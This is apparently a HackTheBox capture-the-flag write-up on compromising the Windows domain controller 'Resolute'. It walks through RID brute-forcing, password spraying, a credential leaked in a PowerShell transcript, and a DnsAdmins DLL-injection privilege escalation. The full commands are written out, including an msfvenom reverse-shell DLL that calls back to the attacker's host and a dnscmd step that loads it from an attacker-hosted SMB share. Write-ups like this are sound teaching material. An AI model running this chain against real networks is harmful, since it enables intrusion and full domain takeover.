Resolute¶
| Field | Value |
|---|---|
| Platform | HackTheBox |
| OS | Windows Server 2016 Standard (Domain Controller) |
| Difficulty | Easy |
| Initial Vector | RID brute-force → password in user description → password spray → WinRM shell |
| Privesc | PowerShell transcript credential leak → DnsAdmins DLL injection → SYSTEM shell |
Phase 1 — Reconnaissance¶
I started with a fast SYN sweep across all TCP ports, then ran a focused version and script scan against the discovered ports.
nmap -sS -n -Pn --min-rate 5000 -p- 10.129.96.155 -oG ports
nmap -sV -sC -n -Pn --min-rate 5000 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49670,49676,49677,49686,49820,50264 10.129.96.155 -oN services
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-17 02:19:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, ...)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, ...)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
smb2-security-mode: Message signing enabled and required
clock-skew: mean: 2h25m51s, median: 5m50s
| Port | Service | Version | Notes |
|---|---|---|---|
| 53 | DNS | Simple DNS Plus | Domain: megabank.local |
| 88 | Kerberos | — | Confirms Domain Controller |
| 139/445 | SMB | Windows Server 2016 Std 14393 | Signing required |
| 389/3268 | LDAP | — | Domain: megabank.local |
| 5985 | WinRM | HTTPAPI 2.0 | Shell entry point |
| 9389 | mc-nmf | .NET Message Framing | AD Web Services |
Kerberos on 88 and LDAP on 389 confirmed a Domain Controller. The domain megabank.local and hostname RESOLUTE were both leaked — the former via LDAP banner, the latter via the SMB smb-os-discovery script output. SMB signing required on 445 ruled out relay attacks. Clock skew was under 6 minutes at median, so Kerberos operations could proceed without correction. I added the domain to /etc/hosts before continuing.
echo "10.129.96.155 megabank.local" >> /etc/hosts
Phase 2 — Service Enumeration¶
SMB (445)¶
I started with null and guest session checks, then moved directly to user enumeration since share access was expected to be locked down.
nxc smb 10.129.96.155 -u '' -p '' --shares
nxc smb 10.129.96.155 -u 'Guest' -p '' --shares
# [-] Error enumerating shares: STATUS_ACCESS_DENIED
# [-] megabank.local\Guest: STATUS_ACCOUNT_DISABLED
Share access was denied, but RID brute-forcing over the null session succeeded — a common misconfiguration where anonymous pipe access to IPC$ is permitted even when share browsing is not. I built a clean user list from the output.
nxc smb 10.129.96.155 -u '' -p '' --users --rid-brute | grep 'RESOLUTE' | grep -v '\[' | grep -v '\-Username\-' | awk '{print $5}' > users.txt
With a user list in hand I used rpcclient to enumerate group memberships and run querydispinfo, which dumps a summary of all user accounts including their description fields. Description fields are frequently used by administrators to note account details — and are often left uncleared after initial provisioning.
rpcclient -U "" -N 10.129.96.155
enumdomusers
querygroupmem 0x200
queryuser 0x1f4
querydispinfo
querydispinfo returned a description field for marko that contained a plaintext credential left over from account provisioning.
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
Credentials in user description fields are a classic AD misconfiguration — they are readable by any authenticated or in some cases unauthenticated session, and admins routinely forget to clear them after onboarding. rpcclient also confirmed Administrator as the only Domain Admin.
Kerberos (88)¶
With a full user list I validated all accounts against the KDC with kerbrute before attempting any roasting attacks.
kerbrute userenum -d megabank.local --dc 10.129.96.155 users.txt
All accounts were confirmed valid. I then checked for AS-REP roastable accounts — none had pre-authentication disabled.
GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.96.155 'megabank.local/'
AS-REP roasting yielded nothing. I attempted Kerberoasting with the marko credentials, but authentication failed — the password had already been changed since the description was written.
GetUserSPNs.py megabank.local/marko:'Welcome123!' -dc-ip 10.129.96.155 -request
# [-] Error in bindRequest -> invalidCredentials
The credential was still valid somewhere else. I sprayed Welcome123! across the full user list to find any account where it had not been rotated.
nxc smb 10.129.96.155 -u users.txt -p 'Welcome123!'
melanie still had the default password set. Credentials confirmed: melanie : Welcome123!. I verified Kerberoasting with these credentials as well — no SPNs found.
GetUserSPNs.py megabank.local/melanie:'Welcome123!' -dc-ip 10.129.96.155 -request
# No entries found!
I re-enumerated shares as melanie — IPC$, NETLOGON, and SYSVOL were readable but contained nothing actionable.
WinRM (5985)¶
I verified melanie could authenticate over WinRM before opening a shell.
nxc winrm 10.129.96.155 -u 'melanie' -p 'Welcome123!'
# [+] megabank.local\melanie:Welcome123! (Pwn3d!)
Phase 3 — Attack Path¶
Initial Access¶
I opened an interactive shell as melanie over WinRM.
evil-winrm -i 10.129.96.155 -u 'melanie' -p 'Welcome123!'
Post-Shell Enumeration¶
I ran standard enumeration commands to assess the current privilege context and identify other accounts on the machine.
whoami /all
whoami /priv
net user
net localgroup administrators
melanie's token showed no abusable privileges. The user flag was retrieved from C:\Users\melanie\Desktop\user.txt.
C:\Users contained a folder for ryan that melanie could not access. Standard enumeration of C:\ appeared normal — PerfLogs, Program Files, Users, Windows. Forcing hidden item visibility revealed an additional directory that was not listed by default.
dir -Force
d--h-- 12/3/2019 6:32 AM PSTranscripts
PSTranscripts is a directory created when PowerShell transcription logging is enabled — it stores full text logs of every PowerShell session, including commands run and their output. It is frequently overlooked during hardening because it does not appear in standard directory listings. I navigated into it and found a single transcript file.
cd PSTranscripts\20191203
dir -Force
-arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
The transcript contained a plaintext credential for ryan embedded in a net use command that was run during the logged session. PowerShell transcripts capture command arguments verbatim, meaning any credential passed as a plaintext flag is permanently recorded to disk.
Credentials recovered: ryan : Serv3r4Admin4cc123!. I validated them over SMB.
nxc smb 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
# [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
Lateral Movement¶
psexec.py failed because none of the shares were writable by ryan. I fell back to WinRM.
nxc winrm 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
# [+] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
evil-winrm -i 10.129.96.155 -u 'ryan' -p 'Serv3r4Admin4cc123!'
ryan's desktop contained a note.txt warning that any system changes (except those to the Administrator account) would be automatically reverted within one minute — relevant context for the next phase.
whoami /all
ryan's token showed no directly abusable privileges, but group membership revealed something critical.
ryan was a member of MEGABANK\DnsAdmins. BloodHound confirmed the full membership chain: ryan → Contractors → DnsAdmins.
Privilege Escalation¶
Vector: DnsAdmins DLL injection via dnscmd
Members of the DnsAdmins group can configure the DNS service to load a plugin DLL at startup using dnscmd /config /serverlevelplugindll. The DNS service runs as NT AUTHORITY\SYSTEM, so any DLL it loads executes with full system privileges. The DLL path can point to a UNC share on the attacker's machine — the DNS service will fetch and execute it when restarted.
I generated a reverse shell DLL with msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.80 LPORT=3312 -f dll -o KasaneHackto.dll
I served it over SMB from the attack machine so the DNS service could reach it via UNC path.
smbserver.py smbFolder $(pwd) -smb2support
From within ryan's WinRM shell I configured the DNS service to load the malicious DLL on next startup.
dnscmd.exe /config /serverlevelplugindll \\10.10.14.80\smbFolder\KasaneHackto.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
I set up a listener on the attack machine, then stopped and restarted the DNS service to trigger DLL loading. The note found earlier warned about automatic rollbacks — restarting the service needed to happen promptly before the revert timer fired.
rlwrap nc -nvlp 3312
sc.exe stop dns
sc.exe start dns
The DNS service loaded the DLL and executed the reverse shell payload as NT AUTHORITY\SYSTEM.
The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.
Flags¶
| Flag | Path | Value |
|---|---|---|
| User | C:\Users\melanie\Desktop\user.txt |
FLAG{REDACTED} |
| Root | C:\Users\Administrator\Desktop\root.txt |
FLAG{REDACTED} |
Conclusion¶
- A two-phase Nmap scan identified a Windows Server 2016 DC with SMB, LDAP, Kerberos, and WinRM exposed; the domain
megabank.localand hostnameRESOLUTEwere leaked via LDAP banner and SMB discovery scripts. - Null session share access was denied, but RID brute-forcing enumerated the full domain user list;
rpcclient'squerydispinforevealed a plaintext credential inmarko's description field — Welcome123! — left over from account provisioning. marko's password had already been changed, but sprayingWelcome123!across the user list identifiedmelanieas still using the default credential; WinRM access was confirmed and a shell opened with the user flag retrieved.- Forcing hidden file visibility in
C:\revealed aPSTranscriptsdirectory; a PowerShell transcript log containedryan's credential — ryan : Serv3r4Admin4cc123! — embedded in a plaintextnet usecommand captured during a previous session. ryanwas a member ofDnsAdmins(viaContractorsgroup, confirmed by BloodHound); a malicious reverse shell DLL was generated withmsfvenom, served over SMB, and registered as a DNS service plugin viadnscmd /config /serverlevelplugindll.- Restarting the DNS service triggered DLL loading under
NT AUTHORITY\SYSTEMcontext, delivering a SYSTEM shell and the root flag.
The system fell because a provisioning credential was never cleared from a user description field, PowerShell transcription logging recorded another user's plaintext password to a hidden but readable directory, and a service account's membership in DnsAdmins allowed loading arbitrary code into a SYSTEM-level service — three credential exposures chaining into full domain compromise.